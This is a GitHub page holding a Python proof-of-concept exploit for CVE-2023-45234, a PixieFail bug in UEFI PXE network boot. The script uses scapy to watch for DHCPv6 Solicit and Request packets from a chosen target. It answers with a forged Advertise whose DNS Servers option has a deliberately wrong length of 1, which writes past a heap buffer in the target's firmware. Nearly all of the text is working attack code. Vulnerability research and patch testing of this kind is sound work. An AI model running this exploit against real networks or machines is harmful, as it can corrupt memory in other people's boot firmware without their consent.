-
Notifications
You must be signed in to change notification settings - Fork 6
/
pixiefail-CVE-2023-45234.py
79 lines (61 loc) · 4.12 KB
/
pixiefail-CVE-2023-45234.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import struct
import argparse
from scapy.packet import Raw
from scapy.layers.inet import UDP
from scapy.layers.inet6 import IPv6
from scapy.layers.dhcp6 import DHCP6_Solicit, DHCP6_Advertise, DHCP6OptServerId, DHCP6OptClientId, DHCP6OptIA_NA, DHCP6OptStatusCode, DHCP6OptIAAddress, DHCP6OptDNSServers, DHCP6OptVendorClass, DHCP6OptBootFileUrl, DHCP6_Request, DHCP6_Reply
from scapy.all import send, sniff
def send_advertise_short_dns_server(args, solicit_pkt):
ip = IPv6(src=args.src, dst=args.target)
udp = UDP(sport=solicit_pkt['UDP'].dport, dport=solicit_pkt['UDP'].sport)
advertise = DHCP6_Advertise(trid=solicit_pkt['DHCP6_Solicit'].trid)
preference = Raw(b'\x00\x07\x00\x01\xff')
bootfile_url = DHCP6OptBootFileUrl(optdata='tftp://[{}]/bug06poc'.format(args.src))
boot_params = Raw(b'\x00\x3c\x00\x06\x00\x041500')
# Notice that optlen is just 1 (should be 0x10, the size of an IPv6 address)
# Every byte of the IPv6 address after the initial 0xFE is written past the pool buffer
dns_servers = DHCP6OptDNSServers(dnsservers=["fe41:4141:4141:4141:4141:4141:4141:4141"], optlen=1)
vendor_class = DHCP6OptVendorClass(enterprisenum=343, vcdata=b"\x00\x20PXEClient:Arch:00007:UNDI:003000")
status_code = DHCP6OptStatusCode(statuscode=0x00, statusmsg=b'LOOKS LEGIT')
iana = DHCP6OptIA_NA(iaid=solicit_pkt['DHCP6OptIA_NA'].iaid, T1=solicit_pkt['DHCP6OptIA_NA'].T1, T2=solicit_pkt['DHCP6OptIA_NA'].T2, ianaopts=[DHCP6OptIAAddress(addr='fe80::a1:b2:c3:d4', preflft=0xffffffff, validlft=0xffffffff), DHCP6OptStatusCode(statuscode=0x00, statusmsg=b'LOOKS LEGIT')])
server_id = DHCP6OptServerId(duid=b'A SERVER')
client_id = DHCP6OptClientId(duid=solicit_pkt['DHCP6OptClientId'].duid)
pkt = ip/udp/advertise/preference/bootfile_url/boot_params/vendor_class/client_id/iana/server_id/dns_servers
send(pkt, iface=args.interface)
def send_reply_legit(args, request_pkt):
ip = IPv6(src=args.src, dst=args.target)
udp = UDP(sport=request_pkt['UDP'].dport, dport=request_pkt['UDP'].sport)
reply = DHCP6_Reply(trid=request_pkt['DHCP6_Request'].trid)
iana = DHCP6OptIA_NA(iaid=request_pkt['DHCP6OptIA_NA'].iaid, T1=request_pkt['DHCP6OptIA_NA'].T1, T2=request_pkt['DHCP6OptIA_NA'].T2, ianaopts=[DHCP6OptIAAddress(addr='fe80::a1:b2:c3:d4', preflft=0xffffffff, validlft=0xffffffff)])
server_id = DHCP6OptServerId(duid=b'A SERVER')
client_id = DHCP6OptClientId(duid=request_pkt['DHCP6OptClientId'].duid)
bootfile_url = DHCP6OptBootFileUrl(optdata='tftp://[{}]/bug06poc'.format(args.src))
boot_params = Raw(b'\x00\x3c\x00\x06\x00\x041500')
dns_servers = DHCP6OptDNSServers(dnsservers=[args.src])
vendor_class = DHCP6OptVendorClass(enterprisenum=343, vcdata=b"\x00\x20PXEClient:Arch:00007:UNDI:003000")
pkt = ip/udp/reply/bootfile_url/boot_params/dns_servers/vendor_class/server_id/client_id/iana
send(pkt, iface=args.interface)
def main(args):
while True:
print('Waiting for DHCPv6 packets...')
rs = sniff(count=1, iface=args.interface, lfilter=lambda pkt: pkt.haslayer(DHCP6_Solicit) or pkt.haslayer(DHCP6_Request))[0]
print('Received DHCPv6 message from {} to {}'.format(rs[IPv6].src, rs[IPv6].dst))
rs.show()
if rs[IPv6].src == args.target:
if rs.haslayer(DHCP6_Solicit):
print('Sending Advertise packet ...')
send_advertise_short_dns_server(args, rs)
elif rs.haslayer(DHCP6_Request):
print('Sending Reply packet...')
send_reply_legit(args, rs)
else:
print('Ignoring unsupported DHCP message')
else:
print('Ignoring request from address {}'.format(rs[IPv6].src))
if __name__ == '__main__':
parser = argparse.ArgumentParser(description="Proof of concept for bug CVE-2023-45234.")
parser.add_argument('--src', type=str, required=False, help='Source IPv6 address to use')
parser.add_argument('--target', type=str, required=True, help='Target IPv6 address')
parser.add_argument('--interface', type=str, required=True, help='Name of the network interface to use')
args = parser.parse_args()
main(args)